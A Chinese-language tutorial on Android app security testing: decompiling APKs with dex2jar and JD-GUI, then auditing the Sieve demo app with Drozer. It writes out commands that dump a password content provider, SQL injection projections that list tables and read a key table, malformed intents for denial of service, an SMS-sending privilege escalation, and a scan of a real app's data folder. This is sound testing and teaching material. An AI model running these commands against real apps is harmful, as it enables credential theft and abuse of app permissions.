1、apk反編譯得到源代碼
使用編譯軟件 dex2gar 和 jdgui.jar 對Android APP軟件進行反編譯。具體步驟如下:
(1)首先將APK文件后綴改為zip並解壓,得到其中的classes.dex,它就是java文件編譯再通過dx工具打包而成的,將classes.dex復制到dex2jar.bat所在目錄dex2jar文件夾。
(2)在命令行下定位到dex2jar.bat所在目錄,運行dex2jar.bat classes.dex,生成classes_dex2jar.jar
首先將要編譯的apk文件后綴修改成 .zip 解壓之后得到 classes.dex 文件,將該文件下使用 dex2jar.bat文件編譯成 . 生成 classes-dex2jar.jar 將生成的該文件導入 jdgui.jar 這樣我們就可以看到APP的源碼了
代碼審計部分基本從這部分開始。
對APP的滲透測試我們需要APP的滲透黑框架來完成。我這里使用的 滲透框架是 Drozer 使用的系統是 AndroL 4b
2、Drozer滲透測試框架
Drozer 有Window版本和 linux版本(虛擬機),我這里使用的是虛擬機 AndroL 4b
如何安裝 虛擬機中的環境這個網上有完整的介紹。這里不再寫。
(1)啟動
連接到虛擬機: adb connect 127.0.0.1:5554 (如果沒有使用虛擬機可以不用這步)
PC上使用adb工具進行端口轉發,轉發數據到 Drozer 使用的端口 31415
adb forward tcp:31415 tcp:31415
開啟 embedded server-enable
drozer console connect
安裝 要測試的APP軟件到模擬器上 ,安裝方法使用 adb install app.apk
安裝完成呢之后在 模擬器喪看到APP已經安裝成功
首先我們在 Drozer框架下對被測試的APP進行 信息的收集 run app.package.list
這里我以公開組件漏洞為例子,進行 說明安全審計方法:
組件 Content Provider配置錯誤會導致數據泄露。content Provider 以表格的形式把數據展現給外部的應用, 每個 Content Provider都對應一個 “ Content://” 開頭的特定的URL, 任何應用都可以通過這個URL操作 Content Provider應用的數據庫。如果有的應用對權限控制不當會導致信息泄露的問題。
進一步使用 Mercury 獲取各個URL的數據
安全滲透測試完成的APP我們如何進行卸載了? 使用 adb uninstall <.packagename > 之前必須切換到 adb shell ,之后才可以卸載。
在滲透測試的時候借助其他工具 像burp Suite、 SDK manage、Wireshark等工具對模擬器上的APP進行數據包抓包攔截,以及流量的分析。
具體的安全檢查點可以對照下面的操作去檢查。
1.獲取包名 dz> run app.package.list -f sieve com.mwr.example.sieve 2.獲取應用的基本信息 run app.package.info -a com.mwr.example.sieve 3.確定攻擊面 run app.package.attacksurface com.mwr.example.sieve 4.Activity (1)獲取activity信息 run app.activity.info -a com.mwr.example.sieve (2)啟動activity run app.activity.start --component com.mwr.example.sieve dz> help app.activity.start usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE] 5.Content Provider (1)獲取Content Provider信息 run app.provider.info -a com.mwr.example.sieve (2)Content Providers(數據泄露) 先獲取所有可以訪問的Uri: run scanner.provider.finduris -a com.mwr.example.sieve 獲取各個Uri的數據: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 查詢到數據說明存在漏洞 (3)Content Providers(SQL注入) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 報錯則說明存在SQL注入。 列出所有表: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" 獲取某個表(如Key)中的數據: run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" (4)同時檢測SQL注入和目錄遍歷 run scanner.provider.injection -a com.mwr.example.sieve run scanner.provider.traversal -a com.mwr.example.sieve 6 intent組件觸發(拒絕服務、權限提升) 利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。 1.查看暴露的廣播組件信息: run app.broadcast.info -a com.package.name 獲取broadcast receivers信息 run app.broadcast.send --component 包名 --action android.intent.action.XXX 2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras): run app.broadcast.send 通過intent發送broadcast receiver (1) 空action run app.broadcast.send --component 包名 ReceiverName run app.broadcast.send --component 包名 ReceiverName (2) 空extras run app.broadcast.send --action android.intent.action.XXX 3.嘗試權限提升 權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由於activity一般多於用戶交互有關,所以基 於intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令: (1)獲取service詳情 run app.service.info -a com.mwr.example.sieve 不使用drozer啟動service am startservice –n 包名/service名 (2)權限提升 run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS 7.文件操作 列出指定文件路徑里全局可寫/可讀的文件 run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo run app.broadcast.send --component 包名 --action android.intent.action.XXX 8.其它模塊 shell.start 在設備上開啟一個交互shell tools.file.upload / tools.file.download 上傳/下載文件到設備 tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件